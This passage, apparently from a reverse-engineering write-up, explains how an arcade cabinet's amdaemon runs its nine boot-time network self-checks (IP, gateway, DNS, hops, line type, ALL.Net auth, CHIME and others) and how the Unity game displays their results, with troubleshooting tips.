&lt;td&gt;Actually performs network operations&lt;/td&gt;
&lt;td&gt;Embeds the various engine checkers (IpAddr / Gateway / DnsLan / LocationRouter etc.)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Checker layer (am::networktest)&lt;/td&gt;
&lt;td&gt;Wrapping and judging&lt;/td&gt;
&lt;td&gt;The master Tester strings together the 9 item checkers, each holding a pointer to its corresponding engine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Game program layer (Unity C#)&lt;/td&gt;
&lt;td&gt;Reading and displaying&lt;/td&gt;
&lt;td&gt;Polls the status word every frame, translating it into Good / NA / Bad / Check&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The actual network operations are performed in the &lt;code&gt;am::network::*&lt;/code&gt; engine classes; &lt;code&gt;am::networktest::*&lt;/code&gt; is the wrapper layer, responsible for driving the engines and reporting the results to the game program&lt;/p&gt;
&lt;h3&gt;2.2 Execution state machine&lt;/h3&gt;
&lt;p&gt;Each engine checker maintains an internal asynchronous stepper (Waiter), whose lifecycle is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;clear → enqueue (attach the check target) → start
→ step each round → judge whether complete → take the OK/NG flag → write out the result
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Result codes: &lt;strong&gt;4 = OK (passed), 5 = NG (failed), 1 = waiting / skipped&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.3 Core fields of an item checker&lt;/h3&gt;
&lt;p&gt;Each item checker object contains the following key fields:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;item number&lt;/strong&gt; (0–8)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;state slot&lt;/strong&gt;: 2 = OK, 3 = running&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;engine result snapshot&lt;/strong&gt;: copied in once the engine finishes, for the judgement logic to read&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;display status word&lt;/strong&gt;: the game program reads this byte every frame to decide what is shown on screen&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4 Drive loop&lt;/h3&gt;
&lt;p&gt;The master Tester walks through the 9 items in order each round:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Read the current item&apos;s state slot; skip if already OK&lt;/li&gt;
&lt;li&gt;First round: copy in the engine result snapshot, write the state as &quot;running&quot;, trigger the callback&lt;/li&gt;
&lt;li&gt;Afterwards: keep stepping the engine until the result is ready&lt;/li&gt;
&lt;li&gt;Once all nine are complete, the Tester&apos;s overall state is set to complete&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.5 shouldRun predicate&lt;/h3&gt;
&lt;p&gt;Each item has a &lt;code&gt;shouldRun&lt;/code&gt; function that decides whether the item needs to run. If it returns false (e.g. there&apos;s no corresponding configured target), the item is skipped outright and the game side shows NA. On the mainland server, item7 (Emoney) and item8 (AimePay) both return false for this reason, and the check item simply isn&apos;t displayed at all&lt;/p&gt;
&lt;h2&gt;3. The 9 checks one by one&lt;/h2&gt;
&lt;h3&gt;3.0 IP address (IpAddressChecker)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Engine class&lt;/strong&gt;: &lt;code&gt;am::network::IpAddressChecker&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Judgement logic&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;Read the current IP address of the local network card and judge by address range:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;169.254.x.x&lt;/code&gt; (APIPA) → &lt;strong&gt;NG&lt;/strong&gt;: this is the temporary address the operating system assigns automatically when DHCP fails or the network cable is disconnected, meaning the cabinet hasn&apos;t obtained a valid IP&lt;/li&gt;
&lt;li&gt;The specified private address ranges → &lt;strong&gt;OK&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Network card unconfigured (&lt;code&gt;ignore_unconnected&lt;/code&gt; switch triggered) → &lt;strong&gt;NA, skipped&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Timeout&lt;/strong&gt;: the game program side sets a 15-second timeout for this item; on timeout it&apos;s judged Bad outright&lt;/p&gt;
&lt;h3&gt;3.1 Gateway (GatewayChecker)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Engine class&lt;/strong&gt;: &lt;code&gt;am::network::GatewayChecker&lt;/code&gt; (inherits from GatewayPreChecker)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Judgement logic&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;Send an ICMP ping to the gateway address in the configuration and wait for a response:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ping succeeds → &lt;strong&gt;OK&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ping fails → back off and retry, with the interval starting at 60 seconds and doubling each time, capped at about 900 seconds (about 4 retries); after all fail it&apos;s judged &lt;strong&gt;NG&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The underlying layer uses ICMP (&lt;code&gt;altr_icmp&lt;/code&gt;). In other words, if the gateway router is pingable it passes; a wrong gateway IP, a broken switch or a physically disconnected cable ends in Bad&lt;/p&gt;
&lt;h3&gt;3.2 Local DNS (DnsLanChecker)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Engine class&lt;/strong&gt;: &lt;code&gt;am::network::DnsLanChecker&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Judgement logic&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;Read the number of DNS servers in the configuration and compare it with the number of DNS servers actually discoverable on the system:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The actual number meets the configuration requirement → &lt;strong&gt;OK&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;It doesn&apos;t (e.g. DNS wasn&apos;t delivered or the config is wrong) → waiting / &lt;strong&gt;NG&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The underlying layer calls the system DNS resolution interface (&lt;code&gt;amDnsInit / amDnsResolveNameA/W&lt;/code&gt;). However many DNS servers are written in the config, that many have to be discoverable on the system; if DNS isn&apos;t configured or DHCP didn&apos;t deliver it, it fails&lt;/p&gt;
&lt;h3&gt;3.3 Hops (HopsChecker)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Engine class&lt;/strong&gt;: &lt;code&gt;am::network::HopsCounter&lt;/code&gt; (the actual resolution is driven by NameResolver)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Judgement logic&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;DNS-resolve the target hostname&lt;/li&gt;
&lt;li&gt;After a successful resolution, count hops via ICMP&lt;/li&gt;
&lt;li&gt;On the C# side, item3 displays the actual hop count&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;DNS resolution fails → &lt;strong&gt;NG&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Resolution succeeds → hop count displayed and &lt;strong&gt;OK&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It depends on item2 (DnsLan) being normal: if the domain resolves it passes, and the route hop count is displayed at the same time; if it can&apos;t resolve, it&apos;s Bad.&lt;/p&gt;
&lt;h3&gt;3.4 Line type (LineTypeChecker)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Engine class&lt;/strong&gt;: &lt;code&gt;am::network::LocationRouterChecker&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Judgement logic&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;Detect the current line type:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LAN → &lt;strong&gt;OK&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;WAN → &lt;strong&gt;NG&lt;/strong&gt;, error message &lt;code&gt;Network type error(WAN)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Internally the engine judges the line&apos;s attribution by parsing the network address and subnet mask, and the underlying layer depends on NameResolver to resolve the target address&lt;/p&gt;
&lt;h3&gt;3.5 Net auth (AllnetAuthChecker)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Engine class&lt;/strong&gt;: alw_auth (the ALL.Net authentication library)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Judgement logic&lt;/strong&gt; (two conditions, both must be satisfied):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Auth passed&lt;/strong&gt;: complete the authentication handshake with the ALL.Net server&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Download instruction ready&lt;/strong&gt;: obtain the netdeliver download instruction URI from the server&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If either condition isn&apos;t met → it stays in the Check state and the engine keeps stepping; the game side sets a &lt;strong&gt;hard 120-second timeout&lt;/strong&gt;, and on timeout it&apos;s judged Bad outright&lt;/p&gt;
&lt;p&gt;Auth chain stages: DNS resolution → auth handshake → download instruction retrieval. If any link has a communication problem with the server, it hangs in Check until it times out&lt;/p&gt;
&lt;p&gt;An item5 Bad blocks the subsequent title server config download flow and the cabinet can&apos;t reach the game screen, so the entire ALL.Net auth flow must complete for it to pass&lt;/p&gt;
&lt;h3&gt;3.6 CHIME (AimeChecker)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Engine&lt;/strong&gt;: Aime network client (&lt;code&gt;AimeNetworkClient&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Judgement logic&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check whether it&apos;s in progress (the engine state meets the running condition)&lt;/li&gt;
&lt;li&gt;Read the first character of the CHIME client&apos;s liveness result area:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;equal to 0 → OK&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;non-zero (error code) → running / NG&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On the game side this corresponds to &lt;code&gt;Chime.Instance.IsDBAlive&lt;/code&gt;, i.e. the database liveness probe for the WeChat AIME service&lt;/p&gt;
&lt;p&gt;The later &lt;code&gt;WaitAime&lt;/code&gt; stage (&lt;code&gt;Chime.StartDBAliveCheck&lt;/code&gt;) probes once more; the two share the same liveness interface&lt;/p&gt;
&lt;h3&gt;3.7 Emoney (EmoneyChecker) — dead item on the mainland server&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Engine&lt;/strong&gt;: &lt;code&gt;EmoneyNetworkClient&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Judgement logic&lt;/strong&gt;: first character of the result area equal to 0 → OK, non-zero → NG (same structure as AimeChecker).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mainland server&lt;/strong&gt;: no configured target, &lt;code&gt;shouldRun&lt;/code&gt; returns false, permanently &lt;strong&gt;NA, skipped&lt;/strong&gt;. There&apos;s no corresponding display slot in the game UI (that position is reused for the TitleServer liveness probe, using &lt;code&gt;OperationManager.IsAliveServer&lt;/code&gt;)&lt;/p&gt;
&lt;h3&gt;3.8 AimePay (AimePayChecker) — dead item on the mainland server&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Engine&lt;/strong&gt;: &lt;code&gt;AimePayCheckInSequencer&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Judgement logic&lt;/strong&gt;: first character of the result area equal to 0 → OK, non-zero → NG&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mainland server&lt;/strong&gt;: same as Emoney — no configured target, permanently &lt;strong&gt;NA, skipped&lt;/strong&gt;, no display slot in the game screen&lt;/p&gt;
&lt;h2&gt;4. Result reporting and on-screen display&lt;/h2&gt;
&lt;h3&gt;4.1 Transmission chain&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Engine result (OK / NG)
  → item result area snapshot (copied in once the engine finishes)
  → item display status word (read by the game program every frame)
  → network availability flags (IP / Hops / AllnetAuth reported separately)
  → IPC (NamedPipe)
  → C# WaitNetWork translates each item into a screen status
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The three availability flags (IP, Hops, AllnetAuth) are maintained separately on the amdaemon app side, for later flows to judge the network&apos;s readiness state&lt;/p&gt;
&lt;h3&gt;4.2 Game translation rules&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Condition&lt;/th&gt;
&lt;th&gt;Display&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Not busy and not complete&lt;/td&gt;
&lt;td&gt;NA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Busy and the native side has already judged NG&lt;/td&gt;
&lt;td&gt;Bad 坏&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Busy and item0 (IP) exceeds 15 seconds&lt;/td&gt;
&lt;td&gt;Bad 坏&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Busy and item5 (Net auth) exceeds 120 seconds&lt;/td&gt;
&lt;td&gt;Bad 坏&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Busy and anything else&lt;/td&gt;
&lt;td&gt;Check 初始化中 (blinking)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Complete and passed&lt;/td&gt;
&lt;td&gt;Good 好 (item3 additionally shows the hop count)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Complete and skipped&lt;/td&gt;
&lt;td&gt;NA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Complete and failed&lt;/td&gt;
&lt;td&gt;Bad 坏&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The timeout fallback is in the game layer (Stopwatch); the error semantics are in the native layer&lt;/p&gt;
&lt;h3&gt;4.3 Notes on the game display side&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;TestModePageNetwork.ItemEnum&lt;/code&gt; has 8 positions in total, with the following mapping:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;item0–5: read &lt;code&gt;Network.TestInfo&lt;/code&gt; directly, corresponding to IpAddress / Gateway / LocalDns / HopNum / LineType / AllnetAuth&lt;/li&gt;
&lt;li&gt;item6 (Aime): read &lt;code&gt;Chime.Instance.IsDBAlive&lt;/code&gt;, i.e. the CHIME WeChat AIME liveness result&lt;/li&gt;
&lt;li&gt;item7 (TitleServer): read &lt;code&gt;OperationManager.IsAliveServer&lt;/code&gt;, unrelated to native item7 Emoney (the mainland server reuses that slot)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is no corresponding position in EnumEnum for Emoney / AimePay&lt;/p&gt;
&lt;h3&gt;4.4 Dependencies of later flows&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;WaitNetWork any Bad or complete
  → NetWorkReady
  → WaitAime (Chime.StartDBAliveCheck probes once more) → AimeReady
  → OperationManager.StartTest() (download config)
  → WaitTitleServer (download succeeded and title server alive)
  → Released: enter normal game scheduling
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;An item5 (Net auth) Bad blocks the download in the WaitTitleServer stage; a Bad on the other items doesn&apos;t directly block the flow but affects later functionality&lt;/p&gt;
&lt;h3&gt;4.5 Title server (TitleServer) check notes&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;title is not, strictly speaking, a native network self-check&lt;/strong&gt;. All of the previous 9 items (item0-8) are executed by amdaemon&apos;s native &lt;code&gt;am::network&lt;/code&gt; / &lt;code&gt;am::networktest&lt;/code&gt; system and belong to &lt;code&gt;WaitNetWork&lt;/code&gt;; the native side has no title check item: the title server isn&apos;t in amdaemon&apos;s boot network self-check enumeration, and is unrelated to item7 Emoney either&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;But the boot flow does check it&lt;/strong&gt;. The title check happens after the network self-check and before entering normal game scheduling, driven by the Unity game side&apos;s &lt;code&gt;OperationManager&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WaitNetWork complete → NetWorkReady
  → WaitAime (CHIME probes once more) → AimeReady
  → OperationManager.StartTest() (download config from the title server)
  → WaitTitleServer (download succeeded once + title server alive) → Released
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Judgement condition&lt;/strong&gt;: &lt;code&gt;WasDownloadSuccessOnce &amp;amp;&amp;amp; IsAliveServer&lt;/code&gt; — the title config has been downloaded successfully at least once, and the title server is currently alive&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Who checks it&lt;/strong&gt;: the Unity game side (&lt;code&gt;OperationManager&lt;/code&gt;), not the native self-check framework&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stuck symptom&lt;/strong&gt;: all 9 network self-checks are Good but it still sits on the title screen → most likely stuck at &lt;code&gt;WaitTitleServer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Test menu&lt;/strong&gt;: the 8th position of &lt;code&gt;TestModePageNetwork&lt;/code&gt; shows &quot;TitleServer&quot;, reading &lt;code&gt;OperationManager.IsAliveServer&lt;/code&gt;: it reuses native item7&apos;s display slot and has no direct relationship with the native self-check&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So title&apos;s position can be understood like this: &lt;strong&gt;strictly speaking it&apos;s &quot;config download + liveness probe&quot; and doesn&apos;t belong to native boot initialisation, but because the cabinet reaches this step every time it starts and gets checked in the same way, in a broad sense it can count as part of the boot self-check.&lt;/strong&gt; It&apos;s not within this article&apos;s judgement system for amdaemon&apos;s native 9 network self-checks; it&apos;s the part that comes after the network self-check passes&lt;/p&gt;
&lt;h2&gt;5. Architecture class names&lt;/h2&gt;
&lt;h3&gt;5.1 networktest checker layer&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;item&lt;/th&gt;
&lt;th&gt;class name&lt;/th&gt;
&lt;th&gt;key vftable slots&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;am::networktest::IpAddressChecker&lt;/td&gt;
&lt;td&gt;shouldRun / update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;am::networktest::GatewayChecker&lt;/td&gt;
&lt;td&gt;shouldRun / update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;am::networktest::DnsLanChecker&lt;/td&gt;
&lt;td&gt;shouldRun / update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;am::networktest::HopsChecker&lt;/td&gt;
&lt;td&gt;shouldRun / update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;am::networktest::LineTypeChecker&lt;/td&gt;
&lt;td&gt;shouldRun / update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;am::networktest::AllnetAuthChecker&lt;/td&gt;
&lt;td&gt;shouldRun / update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;am::networktest::AimeChecker&lt;/td&gt;
&lt;td&gt;shouldRun / update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;am::networktest::EmoneyChecker&lt;/td&gt;
&lt;td&gt;shouldRun / update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;am::networktest::AimePayChecker&lt;/td&gt;
&lt;td&gt;shouldRun / update&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Each item&apos;s vftable has 6 valid slots: dtor / shouldRun / generic ×2 / helper / update. Among them &lt;code&gt;shouldRun&lt;/code&gt; (slot1) decides whether to run, and &lt;code&gt;update&lt;/code&gt; (slot5) drives the engine&apos;s stepping and writes the result&lt;/p&gt;
&lt;h3&gt;5.2 am::network engine layer&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;engine class&lt;/th&gt;
&lt;th&gt;corresponding function&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;am::network::IpAddressChecker&lt;/td&gt;
&lt;td&gt;IP address validity check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;am::network::GatewayChecker（: GatewayPreChecker）&lt;/td&gt;
&lt;td&gt;ICMP ping the gateway&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;am::network::DnsLanChecker&lt;/td&gt;
&lt;td&gt;DNS config count validation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;am::network::HopsCounter / NameResolver&lt;/td&gt;
&lt;td&gt;domain resolution + route hop count&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;am::network::LocationRouterChecker&lt;/td&gt;
&lt;td&gt;line type (LAN/WAN) determination&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;alw_auth&lt;/td&gt;
&lt;td&gt;the whole ALL.Net auth chain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AimeNetworkClient&lt;/td&gt;
&lt;td&gt;CHIME client liveness probe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EmoneyNetworkClient&lt;/td&gt;
&lt;td&gt;Emoney liveness probe (dead item on the mainland server)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AimePayCheckInSequencer&lt;/td&gt;
&lt;td&gt;AimePay liveness probe (dead item on the mainland server)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;5.3 Underlying library responsibilities&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;library&lt;/th&gt;
&lt;th&gt;function&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;alw_auth&lt;/td&gt;
&lt;td&gt;ALL.Net auth, download instruction retrieval&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;alw_network&lt;/td&gt;
&lt;td&gt;network stage initialisation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;alw_dns&lt;/td&gt;
&lt;td&gt;DNS resolution (alwDnsExecServer)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;altr_icmp&lt;/td&gt;
&lt;td&gt;ICMP / ping (underlying layer for the gateway and hop count)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;alpb_stream_ssl&lt;/td&gt;
&lt;td&gt;SSL connection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;alib_pv2_lite（ALPB）&lt;/td&gt;
&lt;td&gt;boot self-check state machine driver&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;6. Dependency classification and troubleshooting&lt;/h2&gt;
&lt;h3&gt;6.1 Dependency classification&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;item&lt;/th&gt;
&lt;th&gt;Fails if the cabinet is offline&lt;/th&gt;
&lt;th&gt;Fails if the server doesn&apos;t respond&lt;/th&gt;
&lt;th&gt;Hard timeout&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0 IP address&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;15s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 Gateway&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2 Local DNS&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 Hops&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅ (domain unreachable)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 Line type&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5 Net auth&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;120s&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6 CHIME&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7 Emoney&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;dead item on the mainland server, NA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 AimePay&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;dead item on the mainland server, NA&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;6.2 What the on-screen statuses mean&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Check (初始化中, blinking)&lt;/strong&gt;: the engine is still waiting for a result. A long-lasting Check is mostly seen on item5 / item6; you need to confirm server connectivity&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bad (坏)&lt;/strong&gt;: this item&apos;s judgement failed. An item5 Bad blocks subsequent flows; a Bad on the other items doesn&apos;t directly block the flow&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NA&lt;/strong&gt;: this item doesn&apos;t take part in the check. item7 / item8 are always NA on the mainland server, and item0 is also NA in &lt;code&gt;ignore_unconnected&lt;/code&gt; mode&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.3 Troubleshooting directions&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;item 0–4 failing on the LAN&lt;/strong&gt;: check the cabinet&apos;s own network configuration: whether the network cable is connected, whether DHCP is delivering IP and DNS normally, whether the gateway address is configured correctly, whether the line is plugged into the LAN&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;item 5 (Net auth) failing or stuck in 初始化中 for a long time&lt;/strong&gt;: a connectivity problem between the cabinet and the ALL.Net authentication server. Check whether the cabinet is connected to the internet, and whether the server is online; you can use &lt;a href=&quot;https://mai.chongxi.us&quot;&gt;isMaiDown&lt;/a&gt; to check the server&apos;s online status&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;item 6 (CHIME) failing&lt;/strong&gt;: a connectivity problem with the CHIME WeChat AIME service. Check the CHIME server&apos;s status and the network path from the cabinet to the server; the site just mentioned is recommended&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;item 7 / 8&lt;/strong&gt;: dead items on the mainland server&lt;/p&gt;
&lt;h3&gt;6.4 Master table of the 9 judgement criteria&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;item&lt;/th&gt;
&lt;th&gt;Checker&lt;/th&gt;
&lt;th&gt;Judgement condition&lt;/th&gt;
&lt;th&gt;Pass/Fail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;IpAddressChecker&lt;/td&gt;
&lt;td&gt;Local IP isn&apos;t APIPA (169.254.x.x) and is in a valid subnet&lt;/td&gt;
&lt;td&gt;OK / NG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;GatewayChecker&lt;/td&gt;
&lt;td&gt;ICMP ping to the gateway succeeds&lt;/td&gt;
&lt;td&gt;OK / NG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;DnsLanChecker&lt;/td&gt;
&lt;td&gt;The number of discoverable DNS servers meets the configuration requirement&lt;/td&gt;
&lt;td&gt;OK / NG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;HopsChecker&lt;/td&gt;
